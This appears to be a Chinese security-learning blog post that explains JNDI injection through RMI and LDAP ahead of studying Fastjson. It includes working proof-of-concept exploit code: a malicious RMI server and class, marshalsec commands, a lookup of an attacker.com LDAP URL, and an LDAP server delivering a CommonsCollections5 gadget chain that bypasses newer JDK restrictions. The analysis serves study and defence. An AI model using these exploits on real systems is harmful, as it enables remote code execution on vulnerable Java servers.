目录

前言

一开始学习Fastjson,发现自己对LDAP这个知识点不是特别了解,进而又是JNDI注入。在学习Fastjson漏洞之前先来学习一下这两个知识。

这篇文章分为以下内容:

基础知识

RMI与LDAP

RMI

JAVA RMI 反序列化攻击 & JEP290 Bypass分析

LDAP

目录是一种分布式数据库,目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互,Java对象在LDAP目录中也有多种存储形式:

LDAP可以为存储的Java对象指定多种属性:

LDAP概念和原理介绍

JNDI原理及使用例子

在BlackHat的那篇JNDI注入PPT里对JNDI有一段描述,我觉得更好理解一些:

JNDI提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。

对于JNDI的一个结构图:

在JDNI注入中,我们可以把JNDI理解是一个大接口,LDAP和RMI等服务等服务把资源对象或者方法绑定在固定的远程服务端,JNDI进行统一管理供应用程序进行访问和调用。等会直接看例子会更好理解一些。

一个简单的JNDI例子:

IHello.java

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}

IHelloImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}

public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}

CallService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);

IHello rHello = (IHello) ctx.lookup("hello");
System.out.println(rHello.sayHello("RickGray"));
}
}

JNDI获取并调用了远程方法say.Hello

-w1792

CallService这里对JNDI服务进行了初始化,在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等)。这里的例子是指定了上下文环境为RMI。
这个指定是动态的,在调用 lookup() 或者 search() 时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

通过这个例子可以看出,用户只需要使用JNDI,可以跟RMI、LDAP等各种服务进行交互,这样是为了在JAVA中能够更方便的管理、访问和调用远程的资源对象。

JNDI注入就出现在lookup方法中,如果InitialContext.lookup(URI)中的URL可控,那么就存在JDNI注入漏洞风险。

JNDI注入

JNDI注入在不同版本下的限制

随着JDK的升级,不同的利用方式在不同版本下的利用区别可以参考下图:

RMI和LDAP的JDNI注入过程是差不多的,只是在Reference的获取上有差异,所以这里以RMI-JDNI为例进行分析。

通过RMI与LDAP进行JNDI注入(jdk<8u191)

lookup方法调用过程中对Reference类的特殊处理,通过RMI和LDAP所进行的JNDI注入都是基于这个特殊处理来利用的。

通过RMI进行JDNI注入的步骤如下:

  1. 攻击者需要构造一个恶意对象,在其构造方法处加入恶意代码。将其上传到服务器中等待远程加载
  2. 构造一个恶意RMI服务器,bind一个ReferenceWrapper对象,ReferenceWrapper对象是Reference对象的封装
  3. Reference对象中包含了一个远程地址,远程地址中可以加载恶意对象class
  4. JNDI在lookup过程中会解析Reference对象并远程加载恶意对象触发漏洞

javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

复现例子

自己搭建一个RMI服务

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("testObject", "testObject", "http://127.0.0.1/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("testObject", wrapper);
System.out.println("run in 1099");
}
}

在RMI中,一个对象要成为远程对象的话,必须要继承UnicastRemoteObject类,因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

JNDIClient.java

1
2
3
4
5
6
7
import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {
new InitialContext().lookup("rmi://127.0.0.1:1099/testObject");
}
}

当客户端调用InitialContext().lookup()方法时,会从http://127.0.0.1/testObject.class处获取class并触发构造方法中的恶意代码。

evilObject.java

1
2
3
4
5
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}

需要注意的是这个类应放在一个无关的目录且不需要加包名,再用javac evulObject.java来生成class文件。将class文件放到一个web服务下即可。(例子放在了本地web根目录下)

-w1790

使用marshalsec起一个RMI服务

除了自己搭建一个RMI服务之外,也可以直接使用marshalsec起一个RMI服务:

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:80/#testObject 7777

利用跟上面是一样的。

使用marshalsec起一个LDAP服务

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#testObject 7777

LDAP服务就只是把协议名改成ldap即可:

-w1791

调用链分析

漏洞触发点堆栈:

1
2
3
4
5
6
7
getObjectFactoryFromReference(Reference, String):163, NamingManager (javax.naming.spi), NamingManager.java
getObjectInstance(Object, Name, Context, Hashtable):319, NamingManager (javax.naming.spi), NamingManager.java
decodeObject(Remote, Name):456, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup(Name):120, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup(String):203, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java
lookup(String):411, InitialContext (javax.naming), InitialContext.java
main(String[]):7, JNDIClient (jndi_test1), JNDIClient.java

跟入使用例子的JNDIClient.javalookup方法:

-w1000

继续跟入lookup方法:

-w1000

继续跟入这个lookup方法:

-w1000

这里通过调用this.registry.lookup获取到了ReferenceWrapper_Stub对象,并与testObject一起传入了this.decodeObject方法:

-w1000

通过getReference()获取到了Reference对象,继续跟入NamingManager.getObjectInstance

-w1000

这里的Ref包含Reference对象的一些信息:

-w1000

继续跟入getObjectFactoryFromReference

-w1000

如果本地存在需要获取的类,则会使用clas = helper.loadClass(factoryName);在本地直接获取。如果本地不存在,则使用clas = helper.loadClass(factoryName, codebase);远程加载类:

-w1000

这里使用URLClassLoader来远程动态加载类。

接着获取到类之后,会在return处调用clas.newInstance(),会触发类的构造方法。我们把恶意语句写在了构造方法处,所以在这里会被触发执行。

关于codebase

Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。
Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。
当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:
http://url:8080/com/project/test.class

修复后的限制

JDK 6u132、7u122、8u113之中对这个利用方式进行了限制,在decodeObject方法处新增了一个读trustURLCodebase的判断,而这个值默认是为false的。

-w1000

-w1000

调用会抛出异常 The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

-w1000

ldap的调用链

1
2
3
4
5
6
7
8
9
getObjectFactoryFromReference(Reference, String):146, NamingManager (javax.naming.spi), NamingManager.java
getObjectInstance(Object, Name, Context, Hashtable, Attributes):188, DirectoryManager (javax.naming.spi), DirectoryManager.java
c_lookup(Name, Continuation):1086, LdapCtx (com.sun.jndi.ldap), LdapCtx.java
p_lookup(Name, Continuation):544, ComponentContext (com.sun.jndi.toolkit.ctx), ComponentContext.java
lookup(Name):177, PartialCompositeContext (com.sun.jndi.toolkit.ctx), PartialCompositeContext.java
lookup(String):203, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java
lookup(String):94, ldapURLContext (com.sun.jndi.url.ldap), ldapURLContext.java
lookup(String):411, InitialContext (javax.naming), InitialContext.java
main(String[]):7, JNDIClient (jndi_test1), JNDIClient.java

LDAP的限制是从JDK 11.0.1、8u191、7u201、6u211 开始的,之后的版本com.sun.jndi.ldap.object.trustURLCodebase默认为false。

所以jdk 8u191之后的的版本,无法通过RMI、LDAP加载远程的Reference工厂类。

通过构造恶意反序列化内容触发本地Gadget绕过高版本JDK的限制(jdk>=8u191)

通过构造恶意反序列化内容触发本地Gadget绕过高版本JDK的限制,需要本地存在Gadget可以利用才行,这里用cc5的链来进行分析。

复现例子

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

LDAPServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://127.0.0.1:80/#testObject"};
int port = 7777;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData",CommonsCollections5());

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();

return byteArrayOutputStream.toByteArray();
}
}

这个POC修改自:LDAPRefServer.java

同样使用之前的JNDIClient进行lookup操作触发漏洞:

-w1791

调用链分析

通过POC来看这个漏洞是如果被调用的,最终的调用栈如下:

1
2
3
4
5
6
7
8
9
deserializeObject(byte[], ClassLoader):532, Obj (com.sun.jndi.ldap), Obj.java
decodeObject(Attributes):239, Obj (com.sun.jndi.ldap), Obj.java
c_lookup(Name, Continuation):1051, LdapCtx (com.sun.jndi.ldap), LdapCtx.java
p_lookup(Name, Continuation):542, ComponentContext (com.sun.jndi.toolkit.ctx), ComponentContext.java
lookup(Name):177, PartialCompositeContext (com.sun.jndi.toolkit.ctx), PartialCompositeContext.java
lookup(String):205, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java
lookup(String):94, ldapURLContext (com.sun.jndi.url.ldap), ldapURLContext.java
lookup(String):417, InitialContext (javax.naming), InitialContext.java
main(String[]):7, JNDIClient (jndi_test1), JNDIClient.java

前面的一些变量传递就不看了,主要来看c_lookup方法处:

-w1387

这里先通过this.doSearchOnce获取到LdapResult对象,里面包含了poc里面所传递的对象:

-w808

在693行有了一个判断,判断var4是否有javaClassName这个Attribute。

-w1000

如果有的话,则进入Obj.decodeObject这个方法:

-w1000

这里又有一个判断,判断var0是否有javaSeralizedData这个Attribute。有的话就传入到deserializeObject进行反序列化。

-w1051

所以只要满足这两个条件,并且javaSeralizedData这个Attribute的值是一个序列化后的恶意对象,就可以进行利用了。可以看到POC中是设置了这两个Attribute的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo"); // 设置javaClassName
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData",CommonsCollections5()); // 设置了javaSerializedData

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

利用本地Class作为Reference Factory(待学习)

由于环境依赖存在问题一直没解决,下面的库没找到安装的方法。这个利用方式就先放一下。如果有师傅遇到同样的问题并且解决了的话,希望师傅可以分享一下解决的办法~

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>

简单理解这个利用方式:寻找本地的CLASSPATH中的一个工厂类,工厂类需要实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。存在于Tomcat依赖包中的org.apache.naming.factory.BeanFactory的这个包正好满足这个条件。再根据这个类中的一些解析特性最后利用java.el.ELProcessor构造EL表达式达到命令执行。

参考:

参考